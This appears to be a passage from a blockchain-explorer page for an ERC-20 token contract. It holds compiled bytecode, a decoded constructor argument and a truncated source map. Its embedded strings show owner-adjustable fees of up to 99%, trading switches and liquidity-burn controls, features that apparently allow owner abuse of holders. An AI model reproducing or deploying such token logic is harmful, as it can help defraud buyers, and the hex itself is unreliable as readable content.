000000000000000000000000000000000000000000000000000815260040161395590615333565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156139ce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016139c5906153c5565b60405180910390fd5b6139d9838383613e44565b613a4581604051806060016040528060268152602001615a4c60269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546135f99092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613ada81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461282390919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051613b7a9190614450565b60405180910390a3505050565b600080613b92613e49565b90508091505090565b6000613ba63061187d565b90506000602254602054602154613bbd9190614c0f565b613bc79190614c0f565b9050600080831480613bd95750600082145b15613be657505050613d21565b6014600d54613bf591906148bc565b831115613c0e576014600d54613c0b91906148bc565b92505b600060028360215486613c2191906148bc565b613c2b9190614945565b613c359190614945565b90506000613c4c8286613eed90919063ffffffff16565b90506000479050613c5c82613f37565b6000613c718247613eed90919063ffffffff16565b9050600060218190555060006020819055506000602281905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681604051613cd1906158b4565b60006040518083038185875af1925050503d8060008114613d0e576040519150601f19603f3d011682016040523d82523d6000602084013e613d13565b606091505b505080955050505050505050505b565b6000803073ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401613d5f91906145bf565b602060405180830381865afa158015613d7c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613da09190615098565b90506000613db96012548361282390919063ffffffff16565b9050613dc484614174565b613dd65760008114613dd557600080fd5b5b600192505050919050565b60008083118290613e28576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613e1f919061432f565b60405180910390fd5b5060008385613e379190614945565b9050809150509392505050565b505050565b60008073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614613ec45760008054906101000a900473ffffffffffffffffffffffffffffffffffffffff16613ee8565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff165b905090565b6000613f2f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506135f9565b905092915050565b6000600267ffffffffffffffff811115613f5457613f536158c9565b5b604051908082528060200260200182016040528015613f825781602001602082028036833780820191505090505b5090503081600081518110613f9a57613f99614a73565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561403f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906140639190614a1d565b8160018151811061407757614076614a73565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506140dc307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d84612889565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161413e9594939291906159f1565b600060405180830381600087803b15801561415857600080fd5b505af115801561416c573d6000803e3d6000fd5b505050505050565b6000601760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16159050919050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000614200826141d5565b9050919050565b614210816141f5565b811461421b57600080fd5b50565b60008135905061422d81614207565b92915050565b600060208284031215614249576142486141cb565b5b60006142578482850161421e565b91505092915050565b60008115159050919050565b61427581614260565b82525050565b6000602082019050614290600083018461426c565b92915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156142d05780820151818401526020810190506142b5565b838111156142df576000848401525b50505050565b6000601f19601f8301169050919050565b600061430182614296565b61430b81856142a1565b935061431b8185602086016142b2565b614324816142e5565b840191505092915050565b6000602082019050818103600083015261434981846142f6565b905092915050565b6000819050919050565b61436481614351565b811461436f57600080fd5b50565b6000813590506143818161435b565b92915050565b6000806040838503121561439e5761439d6141cb565b5b60006143ac8582860161421e565b92505060206143bd85828601614372565b9150509250929050565b6000819050919050565b60006143ec6143e76143e2846141d5565b6143c7565b6141d5565b9050919050565b60006143fe826143d1565b9050919050565b6000614410826143f3565b9050919050565b61442081614405565b82525050565b600060208201905061443b6000830184614417565b92915050565b61444a81614351565b82525050565b60006020820190506144656000830184614441565b92915050565b600060208284031215614481576144806141cb565b5b600061448f84828501614372565b91505092915050565b6000806000606084860312156144b1576144b06141cb565b5b60006144bf8682870161421e565b93505060206144d08682870161421e565b92505060406144e186828701614372565b9150509250925092565b600080fd5b600080fd5b600080fd5b60008083601f8401126145105761450f6144eb565b5b8235905067ffffffffffffffff81111561452d5761452c6144f0565b5b602083019150836020820283011115614549576145486144f5565b5b9250929050565b600080600060408486031215614569576145686141cb565b5b600084013567ffffffffffffffff811115614587576145866141d0565b5b614593868287016144fa565b935093505060206145a686828701614372565b9150509250925092565b6145b9816141f5565b82525050565b60006020820190506145d460008301846145b0565b92915050565b600060ff82169050919050565b6145f0816145da565b82525050565b600060208201905061460b60008301846145e7565b92915050565b61461a81614260565b811461462557600080fd5b50565b60008135905061463781614611565b92915050565b600080600060408486031215614656576146556141cb565b5b600084013567ffffffffffffffff811115614674576146736141d0565b5b614680868287016144fa565b9350935050602061469386828701614628565b9150509250925092565b6000806000606084860312156146b6576146b56141cb565b5b60006146c486828701614372565b93505060206146d586828701614372565b92505060406146e686828701614628565b9150509250925092565b60008060408385031215614707576147066141cb565b5b60006147158582860161421e565b925050602061472685828601614628565b9150509250929050565b600080600060608486031215614749576147486141cb565b5b600061475786828701614372565b935050602061476886828701614372565b925050604061477986828701614372565b9150509250925092565b600061478e826143f3565b9050919050565b61479e81614783565b82525050565b60006020820190506147b96000830184614795565b92915050565b6000602082840312156147d5576147d46141cb565b5b60006147e384828501614628565b91505092915050565b60008060408385031215614803576148026141cb565b5b60006148118582860161421e565b92505060206148228582860161421e565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061487357607f821691505b602082108114156148875761488661482c565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006148c782614351565b91506148d283614351565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561490b5761490a61488d565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061495082614351565b915061495b83614351565b92508261496b5761496a614916565b5b828204905092915050565b7f43616e6e6f7420736574206d61785472616e73616374696f6e416d6f756e742060008201527f6c6f776572207468616e20302e31250000000000000000000000000000000000602082015250565b60006149d2602f836142a1565b91506149dd82614976565b604082019050919050565b60006020820190508181036000830152614a01816149c5565b9050919050565b600081519050614a1781614207565b92915050565b600060208284031215614a3357614a326141cb565b5b6000614a4184828501614a08565b91505092915050565b6000604082019050614a5f60008301856145b0565b614a6c60208301846145b0565b9392505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000614aad82614351565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415614ae057614adf61488d565b5b600182019050919050565b7f63616e6e6f7420736574206275796261636b206d6f7265206f6674656e20746860008201527f616e206576657279203130206d696e7574657300000000000000000000000000602082015250565b6000614b476033836142a1565b9150614b5282614aeb565b604082019050919050565b60006020820190508181036000830152614b7681614b3a565b9050919050565b7f4d75737420736574206175746f204c50206275726e2070657263656e7420626560008201527f747765656e20302520616e642031302500000000000000000000000000000000602082015250565b6000614bd96030836142a1565b9150614be482614b7d565b604082019050919050565b60006020820190508181036000830152614c0881614bcc565b9050919050565b6000614c1a82614351565b9150614c2583614351565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115614c5a57614c5961488d565b5b828201905092915050565b7f4d757374206b656570206665657320617420323525206f72206c657373000000600082015250565b6000614c9b601d836142a1565b9150614ca682614c65565b602082019050919050565b60006020820190508181036000830152614cca81614c8e565b9050919050565b7f4d757374206b656570206665657320617420393925206f72206c657373000000600082015250565b6000614d07601d836142a1565b9150614d1282614cd1565b602082019050919050565b60006020820190508181036000830152614d3681614cfa565b9050919050565b7f43616e6e6f7420736574206d617857616c6c6574206c6f776572207468616e2060008201527f302e352500000000000000000000000000000000000000000000000000000000602082015250565b6000614d996024836142a1565b9150614da482614d3d565b604082019050919050565b60006020820190508181036000830152614dc881614d8c565b9050919050565b7f5377617020616d6f756e742063616e6e6f74206265206c6f776572207468616e60008201527f20302e3030312520746f74616c20737570706c792e0000000000000000000000602082015250565b6000614e2b6035836142a1565b9150614e3682614dcf565b604082019050919050565b60006020820190508181036000830152614e5a81614e1e565b9050919050565b7f5377617020616d6f756e742063616e6e6f74206265206869676865722074686160008201527f6e20312520746f74616c20737570706c792e0000000000000000000000000000602082015250565b6000614ebd6032836142a1565b9150614ec882614e61565b604082019050919050565b60006020820190508181036000830152614eec81614eb0565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000614f4f6026836142a1565b9150614f5a82614ef3565b604082019050919050565b60006020820190508181036000830152614f7e81614f42565b9050919050565b7f4d757374207761697420666f7220636f6f6c646f776e20746f2066696e697368600082015250565b6000614fbb6020836142a1565b9150614fc682614f85565b602082019050919050565b60006020820190508181036000830152614fea81614fae565b9050919050565b7f4d6179206e6f74206e756b65206d6f7265207468616e20313025206f6620746f60008201527f6b656e7320696e204c5000000000000000000000000000000000000000000000602082015250565b600061504d602a836142a1565b915061505882614ff1565b604082019050919050565b6000602082019050818103600083015261507c81615040565b9050919050565b6000815190506150928161435b565b92915050565b6000602082840312156150ae576150ad6141cb565b5b60006150bc84828501615083565b91505092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b60006150fb601b836142a1565b9150615106826150c5565b602082019050919050565b6000602082019050818103600083015261512a816150ee565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b600061518d6024836142a1565b915061519882615131565b604082019050919050565b600060208201905081810360008301526151bc81615180565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061521f6022836142a1565b915061522a826151c3565b604082019050919050565b6000602082019050818103600083015261524e81615212565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061528b6020836142a1565b915061529682615255565b602082019050919050565b600060208201905081810360008301526152ba8161527e565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061531d6025836142a1565b9150615328826152c1565b604082019050919050565b6000602082019050818103600083015261534c81615310565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006153af6023836142a1565b91506153ba82615353565b604082019050919050565b600060208201905081810360008301526153de816153a2565b9050919050565b7f54726164696e67206973206e6f74206163746976652e00000000000000000000600082015250565b600061541b6016836142a1565b9150615426826153e5565b602082019050919050565b6000602082019050818103600083015261544a8161540e565b9050919050565b7f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60008201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b60208201527f20616c6c6f7765642e0000000000000000000000000000000000000000000000604082015250565b60006154d36049836142a1565b91506154de82615451565b606082019050919050565b60006020820190508181036000830152615502816154c6565b9050919050565b7f427579207472616e7366657220616d6f756e742065786365656473207468652060008201527f6d61785472616e73616374696f6e416d6f756e742e0000000000000000000000602082015250565b60006155656035836142a1565b915061557082615509565b604082019050919050565b6000602082019050818103600083015261559481615558565b9050919050565b7f4d61782077616c6c657420657863656564656400000000000000000000000000600082015250565b60006155d16013836142a1565b91506155dc8261559b565b602082019050919050565b60006020820190508181036000830152615600816155c4565b9050919050565b7f53656c6c207472616e7366657220616d6f756e7420657863656564732074686560008201527f206d61785472616e73616374696f6e416d6f756e742e00000000000000000000602082015250565b60006156636036836142a1565b915061566e82615607565b604082019050919050565b6000602082019050818103600083015261569281615656565b9050919050565b60006156a482614351565b91506156af83614351565b9250828210156156c2576156c161488d565b5b828203905092915050565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b60006157296021836142a1565b9150615734826156cd565b604082019050919050565b600060208201905081810360008301526157588161571c565b9050919050565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b60006157bb6022836142a1565b91506157c68261575f565b604082019050919050565b600060208201905081810360008301526157ea816157ae565b9050919050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b600061584d6021836142a1565b9150615858826157f1565b604082019050919050565b6000602082019050818103600083015261587c81615840565b9050919050565b600081905092915050565b50565b600061589e600083615883565b91506158a98261588e565b600082019050919050565b60006158bf82615891565b9150819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000819050919050565b600061591d615918615913846158f8565b6143c7565b614351565b9050919050565b61592d81615902565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b615968816141f5565b82525050565b600061597a838361595f565b60208301905092915050565b6000602082019050919050565b600061599e82615933565b6159a8818561593e565b93506159b38361594f565b8060005b838110156159e45781516159cb888261596e565b97506159d683615986565b9250506001810190506159b7565b5085935050505092915050565b600060a082019050615a066000830188614441565b615a136020830187615924565b8181036040830152615a258186615993565b9050615a3460608301856145b0565b615a416080830184614441565b969550505050505056fe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220fc4f9c5528ac054aa1891287236b62c155fda801ba699196e006c1d6f24418e164736f6c634300080a0033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000a2294cb5b69068e47f82efbea5045d6415336359

-----Decoded View---------------
Arg [0] : team_ (address): 0xA2294cB5b69068e47f82EfBea5045D6415336359

-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 000000000000000000000000a2294cb5b69068e47f82efbea5045d6415336359


Deployed Bytecode Sourcemap

14211:17604:2:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;30925:172;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5469:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7635:169;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15985:64;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14280:51;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6588:108;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;22136:157;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;14701:50;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14802:35;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15540:33;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15500;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;21269:232;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;8286:355;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;27598:295;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;14385:53;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14884:54;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14845:32;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6431:92;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;22604:123;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14989:32;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9050:218;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2670:92:1;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;14445:28:2;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;31105:246;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;15351:28;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15067:30;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6759:127;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1908:148:1;;;;;;;;;;;;;:::i;:::-;;31359:447:2;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;19914:127;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;22301:144;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;14658:30;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15240;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;20508:369;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;19134:155;;;;;;;;;;;;;:::i;:::-;;14338:39;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;996:79:1;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14627:24:2;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15386:31;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;19588:101;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5688:104;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15314:24;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14097:107;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;14758:35;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15580:27;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15462:25;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;22453:143;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;9771:269;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14945:29;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7099:175;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;22739:208;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;16207:61;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;21920:200;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;15028:32;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;21730:182;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;20885:378;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;21509:213;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;18923:157;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;15798:39;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14543:35;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;20111:385;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15206:27;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7337:151;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14585:33;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;19354:134;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15277:30;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2223:244:1;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;15424:31:2;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14512:24;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;29481:1015;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;30925:172;30995:4;31018:60;:71;31079:9;31018:71;;;;;;;;;;;;;;;;;;;;;;;;;31011:78;;30925:172;;;:::o;5469:100::-;5523:13;5556:5;5549:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5469:100;:::o;7635:169::-;7718:4;7735:39;7744:12;:10;:12::i;:::-;7758:7;7767:6;7735:8;:39::i;:::-;7792:4;7785:11;;7635:169;;;;:::o;15985:64::-;;;;;;;;;;;;;;;;;;;;;;:::o;14280:51::-;;;:::o;6588:108::-;6649:7;6676:12;;6669:19;;6588:108;:::o;22136:157::-;1200:13:1;:11;:13::i;:::-;22243:9:2::1;;;;;;;;;;;22215:38;;22232:9;22215:38;;;;;;;;;;;;22276:9;22264;;:21;;;;;;;;;;;;;;;;;;22136:157:::0;:::o;14701:50::-;;;;:::o;14802:35::-;;;;:::o;15540:33::-;;;;:::o;15500:::-;;;;:::o;21269:232::-;1200:13:1;:11;:13::i;:::-;21388:3:2::1;21382:4;21378:1;21362:13;:11;:13::i;:::-;:17;;;;:::i;:::-;:24;;;;:::i;:::-;21361:30;;;;:::i;:::-;21351:6;:40;;21343:100;;;;;;;;;;;;:::i;:::-;;;;;;;;;21487:5;21477:6;:16;;;;:::i;:::-;21454:20;:39;;;;21269:232:::0;:::o;8286:355::-;8426:4;8443:36;8453:6;8461:9;8472:6;8443:9;:36::i;:::-;8490:121;8499:6;8507:12;:10;:12::i;:::-;8521:89;8559:6;8521:89;;;;;;;;;;;;;;;;;:11;:19;8533:6;8521:19;;;;;;;;;;;;;;;:33;8541:12;:10;:12::i;:::-;8521:33;;;;;;;;;;;;;;;;:37;;:89;;;;;:::i;:::-;8490:8;:121::i;:::-;8629:4;8622:11;;8286:355;;;;;:::o;27598:295::-;1200:13:1;:11;:13::i;:::-;27690:9:2::1;27702:14;;;;;;;;;;;:22;;;27733:4;27740:15;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;27702:61;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;27690:73;;27779:9;27774:112;27798:10;;:17;;27794:1;:21;27774:112;;;27854:10;;27865:1;27854:13;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;27842:32;;27851:1;27842:32;;;27869:4;27842:32;;;;;;:::i;:::-;;;;;;;;27817:3;;;;;:::i;:::-;;;;27774:112;;;;27679:214;27598:295:::0;;;:::o;14385:53::-;14431:6;14385:53;:::o;14884:54::-;;;;:::o;14845:32::-;;;;;;;;;;;;;:::o;6431:92::-;6489:5;6514:1;6507:8;;6431:92;:::o;22604:123::-;22667:4;22691:19;:28;22711:7;22691:28;;;;;;;;;;;;;;;;;;;;;;;;;22684:35;;22604:123;;;:::o;14989:32::-;;;;;;;;;;;;;:::o;9050:218::-;9138:4;9155:83;9164:12;:10;:12::i;:::-;9178:7;9187:50;9226:10;9187:11;:25;9199:12;:10;:12::i;:::-;9187:25;;;;;;;;;;;;;;;:34;9213:7;9187:34;;;;;;;;;;;;;;;;:38;;:50;;;;:::i;:::-;9155:8;:83::i;:::-;9256:4;9249:11;;9050:218;;;;:::o;2670:92:1:-;1200:13;:11;:13::i;:::-;2747:7:::1;2740:4;;:14;;;;;;;;;;;;;;;;;;2670:92:::0;:::o;14445:28:2:-;;;;;;;;;;;;;:::o;31105:246::-;1200:13:1;:11;:13::i;:::-;31197:9:2::1;31192:152;31216:8;;:15;;31212:1;:19;31192:152;;;31329:3;31253:60;:73;31314:8;;31323:1;31314:11;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;31253:73;;;;;;;;;;;;;;;;:79;;;;;;;;;;;;;;;;;;31233:3;;;;;:::i;:::-;;;;31192:152;;;;31105:246:::0;;;:::o;15351:28::-;;;;:::o;15067:30::-;;;;;;;;;;;;;:::o;6759:127::-;6833:7;6860:9;:18;6870:7;6860:18;;;;;;;;;;;;;;;;6853:25;;6759:127;;;:::o;1908:148:1:-;1200:13;:11;:13::i;:::-;2015:1:::1;1978:40;;1999:6;::::0;::::1;;;;;;;;1978:40;;;;;;;;;;;;2046:1;2029:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;1908:148::o:0;31359:447:2:-;1200:13:1;:11;:13::i;:::-;31513:3:2::1;31490:19;:26;;31482:90;;;;;;;;;;;;:::i;:::-;;;;;;;;;31603:4;31591:8;:16;;:33;;;;;31623:1;31611:8;:13;;31591:33;31583:94;;;;;;;;;;;;:::i;:::-;;;;;;;;;31706:19;31688:15;:37;;;;31755:8;31736:16;:27;;;;31790:8;31774:13;;:24;;;;;;;;;;;;;;;;;;31359:447:::0;;;:::o;19914:127::-;19964:4;1200:13:1;:11;:13::i;:::-;19996:5:2::1;19980:13;;:21;;;;;;;;;;;;;;;;;;20029:4;20022:11;;19914:127:::0;:::o;22301:144::-;1200:13:1;:11;:13::i;:::-;22433:4:2::1;22391:31;:39;22423:6;22391:39;;;;;;;;;;;;;;;;:46;;;;;;;;;;;;;;;;;;22301:144:::0;;:::o;14658:30::-;;;;;;;;;;;;;:::o;15240:::-;;;;:::o;20508:369::-;1200:13:1;:11;:13::i;:::-;20642::2::1;20624:15;:31;;;;20684:13;20666:15;:31;;;;20720:7;20708:9;:19;;;;20789:9;;20771:15;;20753;;:33;;;;:::i;:::-;:45;;;;:::i;:::-;20738:12;:60;;;;20833:2;20817:12;;:18;;20809:60;;;;;;;;;;;;:::i;:::-;;;;;;;;;20508:369:::0;;;:::o;19134:155::-;1200:13:1;:11;:13::i;:::-;19205:4:2::1;19189:13;;:20;;;;;;;;;;;;;;;;;;19234:4;19220:11;;:18;;;;;;;;;;;;;;;;;;19266:15;19249:14;:32;;;;19134:155::o:0;14338:39::-;;;;;;;;;;;;;:::o;996:79:1:-;1034:7;1061:6;;;;;;;;;;;1054:13;;996:79;:::o;14627:24:2:-;;;;;;;;;;;;;:::o;15386:31::-;;;;:::o;19588:101::-;1200:13:1;:11;:13::i;:::-;19674:7:2::1;19660:11;;:21;;;;;;;;;;;;;;;;;;19588:101:::0;:::o;5688:104::-;5744:13;5777:7;5770:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5688:104;:::o;15314:24::-;;;;:::o;14097: